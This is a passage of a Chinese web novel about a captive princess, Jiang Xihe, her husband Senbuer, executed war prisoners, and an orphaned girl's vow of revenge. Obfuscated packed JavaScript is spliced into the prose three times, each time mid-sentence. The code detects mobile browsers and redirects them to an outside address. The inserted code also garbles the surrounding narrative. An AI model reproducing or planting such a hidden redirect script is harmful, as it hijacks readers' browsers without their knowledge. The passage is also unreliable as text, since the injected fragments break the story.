“咳……”江熹禾呛了一口,嗔怪地瞪了她一眼,“你这丫头,小小年纪不学好,天天在心里琢磨些什么呢。”
桃枝见她这副模样,哪里还不明白,偷偷抿着嘴笑:“奴婢这不是关心您嘛!您身体能好起来,比什么都强。再说了,大王要是能一直这么疼您,将来肯定能……”
“再胡说,我可要罚你了!”
江熹禾连忙打断她的话,生硬地转移了话题。
“一会儿吃过早膳,你陪我去牢里看看吧。”
虽说这两日一直卧病在床,可她心里始终惦记着那些被关押的东靖子民。
牢里阴冷潮湿,他们又缺衣少食,也不知熬不熬得住。
森布尔在战俘的事上向来强硬,迟迟不肯松口,她也不知道该怎么劝,才能让他放那些无辜之人一条生路。
两人准备了一些干粮和草药,再次来到牢营。
远远便看见了牢门大大敞开着,那群战俘正陆续被带了出来。
虽然还是被圈禁在营地角落,但至少能晒到暖阳,呼吸到新鲜空气,还是比阴暗拥挤的牢房要好上不少。
看来森布尔也并非他嘴上说的那么强硬,非要杀光这群俘虏才肯罢休。
江熹禾心下稍定,加快脚步朝着那群人走去。
那群东靖人看到她再次出现,虽然没什么好脸色,但也总归没有像之前那般恶语相向。
江熹禾放下带来包裹,招呼道:“这里有些衣物和干粮,大家拿下去分一分。漠北夜里风大,添件衣裳能稍微避避寒,饿了也能垫垫肚子。”
人群起初只是怯生生地望着,像是在反复确认她有没有恶意。
一位衣衫褴褛的老奶奶犹豫着上前,先拿起一件衣裳,见江熹禾只是温和地笑着,没有半分不耐,才敢又取了两块干粮。
有人带头,剩下的人终于松了口气,瞬间围拢过来,把地上的东西给抢了个干净。
人们拿到东西后,都下意识地往后退了退,眼里的戒备淡了些,但还是没人敢靠近她。
看到那几个孩子躲在大人身后,这么冷的天气竟然还光着脚,脚趾都冻得发紫。
江熹禾扭头对桃枝说:“回去找几双布鞋来,还有箱子里新备的棉袜,也都一并拿来。”
“奴婢这就去!”
桃枝点了点头,迅速去办了。
江熹禾扫过一张张狼狈不堪的脸,轻声安抚道:“大家别着急,还缺什么就告诉我,我尽量送来。”
话音刚落,她突然发觉袖摆被人轻轻扯了扯。
那个差点被掳走当做马奴的女孩正抬头望着她,眼眶里聚满泪水。
“公主,求求你,救救我爷爷吧。”
江熹禾连忙俯下身,问:“怎么回事?我不是送了止血的伤药过来吗?”
女孩哭着摇头:“我不知道……爷爷昨天开始就咳得厉害,现在连站都站不起来了。”
几人连忙来到营地角落。
一把枯柴一样的老人蜷缩在墙角,手臂上裹着厚厚的纱布,人却已经意识不清了。
江熹禾连忙探了探老人的体温,发现温度高得吓人。
“可能是伤口感染了……”
她想了想,拉住女孩的手,“你叫辛夷对吧?你现在跟我回去取药,喝了药你爷爷就能好起来了。”
辛夷愣住了,大大的眼睛里满是错愕。
她没想到只是匆匆一面,这位传闻中的昭华公主竟然会记得她的名字。
江熹禾摸了摸她的脑袋,温和道:“别哭了,你爷爷现在很需要你,你要坚强起来,知道吗?”
辛夷用力点了点头,紧紧回握住江熹禾的手。
一大一小手牵着手,快步走向营地。
女孩的手掌又小又凉,脸色因为长期营养不良而显得有些蜡黄。
江熹禾帮她拢了拢头发,问:“辛夷,你今年多大了?”
女孩看了她一眼,怯生生地回答:“马上就十五了。”
江熹禾有些惊讶,瞧她这瘦小的模样,倒像是十二三岁的孩子。
“那你家里除了爷爷,还有别人吗?”
辛夷忍着眼泪,哽咽道:“我娘……去年被漠北士兵杀了,我爹参了军,这次打仗也被抓过来了,还不知道现在在哪儿……”
江熹禾心头一沉。
就算她真的能说服森布尔,放了这些无辜的百姓。
但是对于真刀真枪上过战场的敌方士兵,森布尔却是绝对不可能放过的。
这个残忍的事实堵在喉头,怎么也说不出口。
江熹禾只能轻轻拍了拍辛夷的手背,“先跟我去取药,等爷爷好了,咱们再慢慢找你爹,好不好?”
辛夷点了点头,抹去眼泪,跟着她走进帐子。
江熹禾在药箱里飞快地翻找了一会儿,取出了一堆需要的草药,仔细分成几包,又用麻绳一一系好,
两人手里拎着沉甸甸的药包,又赶忙往回赶。
路过空旷的草野时,突然一声尖锐的鹰啸划破长空。
辛夷下意识抬起头,看着那几只在天空盘旋的猛禽。
“这是什么?”
“这是漠北军队饲养的海东青。”
江熹禾抬头看了一眼,心头突然升起一股不妙的预感。
大军回营修整的时候,海东青也都待在鹰房,极少会这样成群结队地盘旋在营地上空。
看这阵仗……难道是发生了什么事?
两人脚步踌躇间,山坡后突然传来一声凄厉的惨叫。
辛夷浑身一僵,脸色瞬间煞白。
她猛地挣脱江熹禾的手,拔腿就往声音传来的方向跑去。
“爹!是我爹的声音!”
“辛夷!别乱跑!”
江熹禾一惊,也顾不上多想,连忙追了上去。
山坡后的草野上。
一群被扒了外衣的战俘被按着跪在地上,排成长长的一列。
这些年轻力壮的东靖士兵,此刻再没了半分战场上的锐气,个个垂着头,肩膀不住颤抖。
森布尔就坐在他们面前的虎皮椅上,姿态散漫,指尖轻轻敲击着椅背。
“还不肯说吗?”
他轻飘飘的一句话落在地上,却吓得那群人瑟瑟发抖。
跪在最前排的士兵脸色惨白,嘴唇哆嗦着说不出话,只一个劲地磕头求饶。
“既什么都不知道,那留着也没什么用处。”
说罢,他轻轻抬了抬手。
一旁的漠北战士拔出腰间弯刀,没有丝毫犹豫,手臂一扬,猛地斩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730401|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
向了那名士兵的脑袋。
“噗嗤——”
血柱喷溅,无首的尸体晃了晃,轰然倒地。
辛夷爬上山坡,正好看到这一幕。
“啊——”
江熹禾气喘吁吁地抱住女孩,连忙捂住了她的嘴巴,把半截尖叫硬生生堵了回去。
山坡下的森布尔眉梢一动,警觉地回过头。
虽然江熹禾抱着辛夷及时蹲下了身,但她俩的身影还是没能躲过他的眼睛。
森布尔眉头一沉。
她怎么来了?
他站起身,抬手朝着身侧的将士示意。
一柄柄弯刀再次出鞘。
利刃斩断骨头的闷声接连响起,伴随着一声声惨叫,这片山谷的土地里,很快就被浸满了鲜血。
辛夷看到了自己父亲的尸体,此刻已经哭到手脚发软,整个人几乎要瘫倒在地。
江熹禾心跳如雷,几乎是半抱着她往回跑。
两人好不容易踉跄着回到营地,还没来得及喘口气,却突然看见从牢营里抬出一副简陋的担架。
担架上盖着白布,里面的人瘦成薄薄一片,几乎看不出起伏。
“怎么回事?”
一波未平一波又起,就连江熹禾此刻也难以掩饰脸上的震惊。
担架微微晃动间,一只缠着厚厚纱布的手臂从里面垂落下来。
江熹禾反应极快,连忙捂住辛夷的眼睛。
可终究还是晚了一步,那抹刺目的白已经落入女孩眼底。
辛夷浑身猛地一僵,随即发出一声撕心裂肺的哭喊:
“爷爷——!!!”
江熹禾手心瞬间被滚烫的泪水浸湿,还没等她扶住,辛夷便再也支撑不住,双腿一软,恸哭着跪倒在地。
在女孩哀切的痛哭声中,森布尔带着大队人马赶到。
他目光掠过地上的人,心底一片了然。
“……森,布,尔!!!”辛夷抬起满是泪痕的脸,目眦欲裂,带着滔天的恨意。
“我要杀了你!”
她猛地从地上爬起,朝着森布尔扑去。
“辛夷不要!”
明知是螳臂挡车,江熹禾连忙抱住她。
但此刻的辛夷就像一头失控发疯的小兽,力气大得她根本控制不住。
女孩一把推开拦住她的人,张牙舞爪地朝着森布尔冲了过去。
森布尔从始至终都一脸淡然,在女孩扑至身前的瞬间,骤然出手,一记手刀砍在了她的后颈上。
辛夷毫无还手之力,连哼都没哼一声,便直挺挺地跌进尘土里。
森布尔微微俯身,手指扣住她的后领,像拎小鸡仔似的把人提了起来。
“想杀我?你还不够格。”
辛夷意识还清醒着,通红的眼睛死死瞪着近在咫尺的仇人,眼底的恨意几乎要烧起来。
江熹禾连忙上前,抱住森布尔的手臂,哀求道:“王!她还是个孩子,求您饶她一命!”
森布尔瞥见她手背上被抓挠出来的血痕,忍不住皱了皱眉头。
他手臂一扬,便把手里拎着的女孩甩了出去。
辛夷重重摔在几米外的草地上,发出一声闷响。
江熹禾下意识就想过去查看,却突然被森布尔钳住了手臂。
“跟我回去。”
男人冷冷吐出这几个字,态度坚决,不容反抗。
5. 迟早有一天,我会杀了你
江熹禾扭头看了地上的辛夷一眼,又连忙给一旁的桃枝使眼色。
吓傻了的桃枝终于回过神,赶紧上前和其他人一起,七手八脚地把辛夷扶进了牢房。
看到辛夷状态还行,江熹禾悬着的心才稍稍落下。顺从地被森布尔拽着,一步步离开了这里。
回到帐子里。
森布尔蹲在她身前,拿着帕子帮她清洗手背上伤口,忍不住埋怨道:“你怎么总是在受伤?就不能让我省点心?”
江熹禾想起山坡后的血腥场景,皱眉道:“王,东靖的士兵您已经处置了,剩下那些老弱妇孺,都是无辜百姓,您……打算如何安置他们?”
森布尔用手指给她抹着药膏,头也不抬道:“你想让我如何处置?”
被杀的士兵都是那些人的亲人骨肉,事到如今,双方隔着无数条人命,想要平和地解决已经是不可能的了。
江熹禾轻蹙眉头,眼神哀伤:“王,就放他们一条生路吧。”
“好啊。”
森布尔动作顿了顿,眼神缓慢上移,落在她的肚子上。
“你给我生个孩子,我就放了他们。”
他抬手轻轻抚了抚,“就当为我们的孩子积德了。”
“王……”
江熹禾哽住了。
他明知她身子不好,几年前的小产就落下了病根。如今说这种话,也不过是故意为难她罢了。
江熹禾轻叹口气,牵起森布尔的手掌放在脸侧。
“田里的麦子快收回来了,这批种子收成不错。往后就算冬天来了,部落里也有足够的粮食过冬,牲畜的草料也不用愁了。我们……不必再靠着打仗去抢夺粮食了。”
掌心里的触感温热柔软,但森布尔的回答却冷得像冰。
“我爹娘都死在东靖人的刀下,这血海深仇,不可能不报。我跟东靖之间,早已是不死不休。”
江熹禾眼睫颤了颤,强忍着才没有落下泪来。
“别露出这种表情。”
森布尔托起她的脸,让她直视自己的眼睛。
“你是我森布尔的王妃,早就不是什么东靖公主了。摆正你的位置,凡事该多为我漠北考虑,而不是天天惦记着那些东靖百姓。”
江熹禾闭上眼睛,轻轻握着森布尔的手腕。
“王,别再徒增杀孽了……”
帐内的暖炉还燃着,却驱不散心头的寒意。
森布尔收回手,转身撩开帐帘,没再看她。
“你好好歇着,别再乱跑。”
江熹禾还维持着端坐的姿势,眼底一片悲凉。
.
青格勒插着手,晃着脚步慢悠悠踱到牢营外。
守卫见了他,打趣道:“青格勒,今天怎么没去放羊?小心被你奶奶发现了,回头又拿马鞭抽你,哈哈哈……”
“要你管!”
青格勒瞪了那人一眼,快步绕到了营地边缘。
那里孤零零立着几座土坯牢房,关押着那批东靖百姓。
青格勒盯着栅栏里的人影,想起自己死在战场上的哥哥,牙齿咬得咯咯响。
他捡起棱角锋利的小石块,狠狠朝着栅栏内砸了过去。
辛夷心如死灰地靠坐在墙边,眼神空洞地望着地面。
从外面砸进来的石块落在脚边,她连动都没动一下。
见里面的人也不反抗,青格勒在外面扔得愈发起劲。
突然一块儿石头磕到了栅栏,猛地反弹到了辛夷的额头上。
尖锐的边缘刺破皮肤,鲜血顺着她的眉骨蜿蜒而下。
辛夷没有呼喊,只是捂着鲜血淋漓的额头冷冷看着外面的人。
青格勒被她这样盯着,心里莫名发怵,默默背过了握着石头的手。
“你……”
“你叫什么名字?”
他还没来得及开口说些什么,却被对方的一句问话堵了回去。
“我……我叫青格勒。”他老实回答道。
辛夷深深看着他,眼睫都被鲜血染红。
“青格勒,”她轻声道,“你记住我的名字,我叫辛夷。”
“迟早有一天,我会杀了你。”
“你们漠北人……还有你们的王,森布尔,我一个都不会放过!”
青格勒先是僵在原地,过了会儿,心里的错愕才彻底翻涌成暴怒。
“你个东靖猪说什么呢!我现在就去告诉大王,让他砍了你的头,正好送你下去跟你那没头的爹团聚!”
辛夷猛地暴起,捡起地上的石头,狠狠砸了回去。
青格勒慌忙往后躲,却还是被石头擦破脸颊,留下一道血痕。
他用袖子抹了把脸,这点伤不算什么,但却是一个东靖人给他留下的,这让他更加怒不可遏。
“我现在就杀了你!”
青格勒大吼一声,直接扑向牢门,隔着栅栏恶狠狠地揪住了辛夷的衣领。
辛夷头破血流的模样比他凄惨得多,一双眼睛却亮得惊人。
“你最好现在能杀了我,不然以后……死的就是你!”
“喂!青格勒!你干嘛呢!”
守卫听见动静,赶了过来,连忙拉开了他们。
“大王有令,不能动这群俘虏,你在这儿闹什么,是想挨军棍吗?!”
青格勒喘着粗气,死死瞪着里面的人。
“辛夷是吧!你给我等着!就算这次你能活着逃回东靖,我也迟早会找到你!到时候一定亲手杀了你!”
辛夷重新靠坐在地上,额角的血还在渗。
“好啊,我等着。你要是不来,就是个没骨气的孬种!”
青格勒被噎得脸通红,甩开膀子,怒气冲冲地走了。
守卫看着这俩头破血流的小孩,无奈地叹了口气。
.
森布尔骑着战马,亲自押着囚车来到边关城下。
车上的人眼含热泪,看着越来越近的故土,也不知等待着他们的是死亡还是希望。
辛夷缩在囚车角落,脑袋上简单裹了几圈纱布,松松垮垮地还渗着血。
她没向其他人一样望着城门,视线始终都落在队首那道挺拔的背影上。
队伍最终停在离城门百米远的地方。
森布尔收紧缰绳,对身后的人打了个手势。
士兵们翻身下马,一起打开了囚车的牢门。
车上的人面面相觑,谁也不敢先有动作。
森布尔开口道:“这次我不杀你们,回去告诉你们将军,只要东靖守军缴械投降,我漠北一样会善待城中百姓。”
见他们迟迟不动,森布尔偏过头,不耐烦道:“还不快滚?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730402|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>囚车里的人骤然清醒,个个争先恐后地挤下囚车,生怕这杀神临时变卦。
老的抱着小的,年轻的拽着体弱的。
尘土被慌乱的脚步扬起,沙哑的哭喊压抑在喉咙,人群跌跌撞撞朝着城门跑去。
辛夷最后一个下了车。
她没有急着逃命,反而是站在原地,死死瞪着马背上的森布尔。
森布尔当然看得出她眼里的恨意,冷笑道:“小孩,想杀我的人多了去了,不差你这一个。”
辛夷缓缓握紧拳头,下颌绷得很紧。
森布尔甩开缰绳,调转方向。
“你要是能活下去,欢迎随时来找我报仇。”
铁骑卷起烟尘,和逃往城门的人群背道而驰。
风沙漫天。
辛夷站在原地,一直盯着那支队伍消失不见,豆大的泪珠才终于夺眶而出。
.
回程时路过热闹的边城。
森布尔让其他人先行回营,自己则卸下战甲,一头钻进了熙熙攘攘的集市。
这几日因为东靖战俘的事情,江熹禾一直闷闷不乐。
森布尔想着,在集市上寻些新鲜玩意带回去,总能让她心情好点。
她素来对锦绣珠宝不上心,蜜饯糖果也只是偶尔才会浅尝一两颗。
寻常女子喜欢的东西,似乎都入不了她的眼。
森布尔在集市溜达了几圈,买了她平时常用的纸笔和药膏。
又在铺子里选了些耐寒的花种。
虽不是什么稀罕物,却是江熹禾平日里会用心照料的东西。
最后路过一家医馆时,森布尔脚步顿了顿。
漠北地广人稀,条件恶劣,部落里大多都是一些半路出家的赤脚大夫。
江熹禾这些年久病成医,平时也喜欢看些医书,采些草药。
久而久之,部落里的人都知道,王妃懂医术。谁家孩子发烧、老人咳嗽治不好的,找她多半有用。
森布尔把刚买的医书妥帖收进怀里,掂了掂沉甸甸的包袱,大步走向城外。
守卫远远看见森布尔那匹通身墨黑的高头大马,连忙打开了大门。
森布尔翻身下马,把缰绳递给侍从,随口问道:“王妃在哪儿?”
侍从躬身答道:“回禀大王,王妃今日没有外出,应该就在营地附近。”
森布尔点点头,把包袱递给他,径直朝着营地走去。
路旁的沙棘树丛微微晃动。
森布尔停下脚步,抬头看了一眼。
“青格勒,你在树上干嘛呢?”
树丛里探出一颗脑袋,青格勒兴奋道:“大王!这树上的沙果熟了!您要尝尝吗?”
他说着,便朝森布尔抛出一小串红红的果子。
森布尔抬手接住,尝了一颗,点点头:“还不错,你多摘点,回头送我帐子里去。”
青格勒忙不迭应下:“好咧!”
森布尔刚走出几步又停下,回头问道:“你看见王妃了吗?”
青格勒动作一顿,从树上跳下来,挠了挠头:“刚刚看见她去博格阿公家了。”
“怎么了?”
“阿公今天放牧的时候摔了一跤,好像伤了腿,还挺严重的。”
森布尔眉头一拧,说了句“知道了”,就转身朝着阿公家赶去。
6. 骑马扭了腰
身形枯瘦的老人撩起裤管,半靠在椅子上。
桃枝把晒干的蒲公英和艾草放进陶碗,用热水冲泡出浅绿色的药汁。
江熹禾用细布蘸着药汁,小心翼翼地擦拭伤口边缘。
“阿公,您记得早晚各换一次药,换药前用温水把伤口擦干净,不然容易化脓。”
阿公见她专注的样子,眼眶有些发热。
“您是尊贵的王妃,却总是麻烦您做这些脏活儿,真是委屈您了。”
“阿公说的哪里话,我在漠北住了这么久,早把这里当自己家了。”
江熹禾笑了笑,用干净的布条帮他包扎好伤口。
“您好好养伤,这几日伤口别碰水,要是有什么不舒服的,随时让人去叫我。”
桃枝已经收拾好了药箱,见到两人要走,阿公撑着扶手就要起身。
“王妃,我送您。”
江熹禾伸手制止,温声道:“您好好休息,不必送了。”
两人刚走出帐外,一抬头就看见了抱着手臂等在一旁的森布尔。
江熹禾愣了一下,惊讶道:“王?您什么时候回来的?”
森布尔没回答,只是用下巴指了指帐子内,“阿公的伤怎么样了?”
“没伤到骨头,只是皮外伤。不过阿公年纪大了,恢复得慢,要好好歇上几日才行。”
森布尔微微颔首:“那我就不进去了,让他好生休息吧。”
说着,他走到江熹禾面前,弯起手臂,把手肘递到她面前。
江熹禾弯了弯眼角,伸手轻轻挽住他的手臂。
两人并肩往回走,桃枝拎着药箱,不远不近地跟在后头。
“人都送回去了?”江熹禾轻声问。
“是啊,”森布尔迁就着她的步伐,走得很慢,“我亲自送到城门口的。”
“百姓会感激您的。”
森布尔轻嗤一声:“得了吧,你是没看见那小孩看我的眼神,她巴不得把我生吞活剥了呢。”
“反正想杀您的东靖人那么多,也不差她一个了。”
江熹禾语气轻快,居然是在跟他开玩笑。
看来她今天心情不错。
森布尔挑了挑眉,侧头看她,心头有些暗爽。
三人回到帐子里,桃枝放下东西就十分知趣地退下了。
看到江熹禾回来了还在摆弄药箱里的瓶瓶罐罐,森布尔忍不住道:“你天天不是关心这个就是关心那个的,怎么对自己的夫君反而一点不上心?”
江熹禾停下动作,疑惑地问:“您怎么了?”
“我……”
森布尔顿了顿,心念一动,“刚才骑马回来的时候,不小心扭了腰,到现在还疼着呢,也没见你问一句。”
江熹禾:?
骑马扭了腰?
森布尔从小在马背上长大,草原上的马再烈,他都能稳稳驯服。这些年四处征战,骑着战马冲锋陷阵更是常事。骑马对他而言,比喝水还简单,怎么会平白扭了腰?
何况刚刚两人一路走回来,他身姿挺拔,脚步稳健,哪儿有半分受了伤的样子?
江熹禾不解地打量他,“可是刚刚走回来,也没见您有什么异常啊?”
“咳……”森布尔梗着脖子道,“我都忍着呢!难道要让族人们看到我步履蹒跚,扶着腰走路吗?传出去岂不让人笑话?”
江熹禾将信将疑地走向前,手指轻轻抵住他的侧腰。
“哪里痛?这里吗?”
“就这里,痛死了。”
森布尔按住她的手,用力往下压了压。
手掌下的触感平整坚硬,里面像是揣着什么东西。
“这是?”
江熹禾正纳闷,森布尔突然发力,猛地把她拽进了怀里。
他单手揽着怀里的人,从怀里掏出那几本特意买来的医书。
“我在集市上找了好久,这几本都是家里没有的,你看看?”
江熹禾接过书,低头翻了两页,忽然眼睛一亮。
“居然是《十产论》的抄本,您怎么知道我最近在找这个?”
森布尔压着嘴角,得意道:“这有何难?你以后有什么想要的尽管跟我开口,我都能给你弄来。”
江熹禾连忙从他怀里站起身,走到桌案前认真翻看手里的医书。
“这书里详细写了许多接生手法,连胎位不正该怎么转胎都写得极细,比部落里老接生婆的法子周全多了。”
森布尔有些不悦地拧着眉:“接生你也学?这种脏活儿你也要干?”
“哺育新生,怎么能算是脏活儿?”
江熹禾抬头看他,语气微沉:“连年战乱,漠北本就人口不兴旺,再加上草原条件恶劣,接生手段又落后,能顺利降生的孩子少之又少。我若能学会这些法子,往后族里产妇生产,也能少些风险。”
森布尔还是有些不赞成,“那你也可以学会了教她们啊,没必要事事都亲自去做。”
江熹禾沉默了会儿,忽然轻叹道:“我肯教,也得有人肯学啊。”
这些年她为了部落忙前忙后,开采水渠,改良作物,苦学医书,治病救人。
但是换来的也只是少数人的以礼相待罢了,部落里大部分人对她仍是信不过,总觉得她是别有用心,甚至时不时还要给她使些绊子。
正如前段时间收麦子的时候,去田里故意找茬的人就是如此。
森布尔看到她失落的眼神,心头有些发堵。
他起身走到江熹禾的身后,手掌轻轻搁在她肩头,笨拙地安慰道:“慢慢来吧,他们会理解你的。”
几场秋雨过后,草原的风更冷了。
清晨,江熹禾刚出门,忽然发现帐外的地面都结了层薄霜。
桃枝蹲在帐边的空地上,正把刚晒了半日的草药往毡子里裹。
“这天气说冷就冷,得赶紧把这些草药晒透收好了,不然冬天一到,连太阳都少见。”
江熹禾裹紧身上的披风,忽然看见远处的山顶覆了层薄薄的白。
“下雪了?”
桃枝也顺着她的目光看去,感叹道:“往年雪来得没这么早,今年怕是要冷得更厉害些了。”
这是今年的第一场雪,已经悄无声息地落在了草原上。
草原的冬季滴水成冰,连马饮的水都得凿冰窟窿,即使骑着战马也很难前行。
每年最冷的这几个月,向来是两国默认的休战期。
大雪封路,粮草难运,谁也不愿在这时候挑起战事。只要森布尔不主动领兵南下,东靖的军队也不敢轻易越过边境。
一股寒风吹来,冻得江熹禾不由打了个哆嗦。
即使
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730403|189639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经在漠北住了七年,但这种深入骨髓的寒意还是让她难以适应。但凡微微受了凉,身上的旧伤就针扎似的疼。
每年从初霜到深冬的这几个月,都是她最难熬的日子,夜里尝尝要抱着暖炉才能勉强睡稳。
“王妃!”
神色匆匆的牧民朝江熹禾跑来,嘴里大口吐着白雾。
“青格勒的奶奶病倒了,这会儿都烧得说胡话了,您快去看看吧!”
“怎么回事?”
江熹禾心头一紧,连忙让桃枝拿起药箱,三人快步往前赶。
牧民一边在前面带路,一边喘着粗气回答道:“昨夜突然降温,老人家惦记她那点牛羊,非要顶着寒风去圈里铺干草。结果回来没多久就开始发烧,喝了药也没起作用。”
江熹禾听着,眉头拧得更紧。
漠北的冬夜最冷不过,老人本就身子弱,再被寒风这么一激,风寒入了骨,病情自然凶险。
她不由加快脚步,身后的桃枝也跟着小跑起来。
帐子里点着炭盆,床前围坐着几个牧民。
看到江熹禾带着桃枝走了进来,几人连忙起身,让开了位置。
“王妃,您来啦。”
青格勒蹲在床前,哽咽着拉着奶奶的手,“奶奶……奶奶你醒醒啊……你坚持住……”
江熹禾拍了拍青格勒的肩膀,轻声道:“青格勒,让我看看奶奶好吗?”
青格勒飞快抹了把脸,低着头让到了一边。
床上的老人盖着厚毡被,整张脸烧得通红,呼吸急促,眼睛眯着一条缝,旁人怎么唤她也听不见,嘴里还在口齿不清地念叨着什么。
“希迪……希迪回来了……奶奶给你……做馅饼……”
希迪是青格勒的哥哥,早在几年前就丧生在了战场上。
听到奶奶口中念叨的名字,青格勒猛地背过身去,狠狠擦了把眼泪。
江熹禾揭开被角,眉头紧皱:“把这床被子撤了,换条薄些的羊毛毯来。再去打盆凉水来,给老人擦擦身子降温。”
众人愣了一下。
通常牧民家里人生病,都想着捂汗退烧,哪儿见过这样凉水降温的法子?
可看到江熹禾紧绷的样子,还是没人敢多问,连忙去办了。
江熹禾检查了一下老人的体征,又连忙从药箱里找出几味草药。
“桃枝,赶紧去生火煎药。记得烧开之后转小火慢熬,等水沸过三遍,只取上层药汁。”
“好的王妃。”
桃枝接过草药,连忙出去架起药炉。
帐子里的人纷纷忙活起来,只有青格勒还一动不动地守在床边,紧紧攥着老人枯瘦的手,好像生怕一松手,奶奶就会离他而去似的。
桃枝很快端来了一碗澄清的药汁,众人七手八脚地扶起老人。
青格勒接过汤碗,用勺子撬开奶奶的嘴角,一点点把药喂了进去。
一碗药刚喂完大半,原本状态还算平稳的老人突然开始抽搐,头歪在青格勒怀里,眼睛紧闭着,喉咙里发出沙哑的“咯咯”声。
“奶奶!奶奶你怎么了?”
青格勒吓得摔了手里的碗,两行泪水夺眶而出。
他猛地抬头瞪向江熹禾,大吼道:“你这个东靖妖女!是不是你给奶奶喝的药有问题?是不是你故意害我奶奶?!”
7. 口是心非
江熹禾连忙上前,想要查看老人的情况。
“青格勒,你先放手,让我看看……”
“滚开!”
青格勒猛地推开她,“要是我奶奶有事,我跟你没完!”
他力道极大,江熹禾没防备,后腰猛地撞上身后的桌角。
桌上的物件哗啦一声散落一地,钻心的刺痛慢半拍反应过来。
江熹禾跌坐在地,忍不住闷哼了一声。
“王妃!”
桃枝连忙上前扶起她,“您没事吧?”
江熹禾忍着后腰的疼,脸色都白了几分。
就在这时,青格勒怀里的老人忽然咳嗽了几声,猛地倒了一口气,缓缓睁开了眼睛。
她眼神还有些浑浊,却能准确地看向青格勒。
“青格勒……”
青格勒猛地顿住,低头看着奶奶:“奶奶?您醒了?”
老人缓了口气,抬手捂住胸口,“我刚刚……好像看着你哥哥了……”
众人围在床前,看到老人意识清醒了过来,脸色也不似刚刚那般吓人了,纷纷松了口气。
江熹禾被桃枝扶着艰难站起,对她轻声叮嘱道:“刚刚的药再去煎一碗来,隔两个时辰喂她喝一次。”
桃枝扶着她的手臂,气鼓鼓地瞪了青格勒一眼,“王妃,这种人您救了干嘛?狗咬吕洞宾,不识好人心!”
江熹禾按着后腰,微微摇头:“别说了,先送我回去吧。”
青格勒扶着奶奶重新躺下,小心给她盖好被子,这才突然想起被他一把推开的江熹禾。
他站起身看了一圈,火堆上的药炉还飘着热气,帐帘被风吹的微微晃动,屋里哪儿还有那人的身影?
夜里,帐外刮起了呼啸的寒风。
床头摆着晃动的烛台,江熹禾缩在被窝里,正准备给后腰上的淤青涂药。
撞伤的位置有些不太顺手,她解开腰带,手上拿着药膏,拧着身子正准备去涂,房门却突然被推开,一股冷气灌了进来。
烛火猛地晃了一下,差点被吹灭。
江熹禾吓了一跳,下意识拉起被子,盖住了身体。
森布尔脱下带着寒意的外衣,瞟了一眼床上的人。
“今日怎么这么早就上床了?”
江熹禾缩在被子里窸窸窣窣地穿着衣服,随口应付了一句:“太冷了。”
“今年是冷得早一些。”
森布尔脱下厚重的靴子,突然回头笑道:“是不是我不回来,你就睡不着?”
“?”
衣服的系带似乎在被子里缠住了,江熹禾低头摸索,没理会他。
“干嘛呢?”
森布尔觉得奇怪,大步走到床边。突然发现她衣衫不整,半边白嫩的肩头都快要滑出被子,表情似乎还带着急切和害羞。
“你……”
他喉头滚了滚,四肢百骸突然窜出一股澎湃的灼热。
他单膝压上床沿,突然俯身抱住了床上的人。
“等急了?想要就说,我又不是那种不解风情的人。”
“……”江熹禾愣了愣,“王,不是那样的……”
森布尔已经不管不顾压了下来,带着胡茬的下颌使劲往她颈边凑。
“嘶——”
江熹禾突然皱起眉毛,轻嘶了一声。
森布尔停下动作,余光看见床头放着的药膏。
“怎么了?你又受伤了?”
他一把揭开被子,发现江熹禾面露难色,一直侧身按着自己的后腰。
“我看看。”
他拨开她的手,那片莹白肌肤上,一大块青紫的淤青映入眼帘。
森布尔骤然压下眉头,问:“怎么回事?”
江熹禾打了个寒颤,连忙扯过被子盖住身体。
“无事,只是今早不小心撞到了桌子。”
“自己撞的?”森布尔问。
江熹禾点点头,又重复了一遍:“没事的,擦点药就好了。”
“你怎么总是这么不小心?”
森布尔烦躁地把她按在床上,拿起床头的药瓶。
“趴好,我给你上药。”
“王……”
江熹禾还想拒绝,但是看到森布尔阴沉的脸色,又只好把话咽了回去。
森布尔挖出一坨药膏,用手掌搓热化开,然后才把掌心缓缓抵上那片淤青,轻柔打圈。
“唔……”
江熹禾把脸埋在枕头里,痛极了才会发出细小的呜咽。
“你真是……”
森布尔恶狠狠地盯着她的后脑勺,但是看到她泛红的耳廓,又什么训斥的话都说不出来了。
第二天一早。
天还没亮森布尔就起来了,江熹禾被他起床的动静吵醒,迷迷糊糊地眨了眨眼睛。
森布尔给她掖好被角,轻轻拍了拍:“天冷,多睡会儿。”
也不知道江熹禾听到了没有,反正脑袋一歪,又闭上了眼睛。
森布尔披上大氅,来到厨房。
桃枝正蹲在灶台前生火,手里拿着火折子轻轻吹着。
森布尔高大的身影往门口一堵,阴影瞬间把小小的厨房遮去大半。
桃枝看清来人,连忙起身行礼。
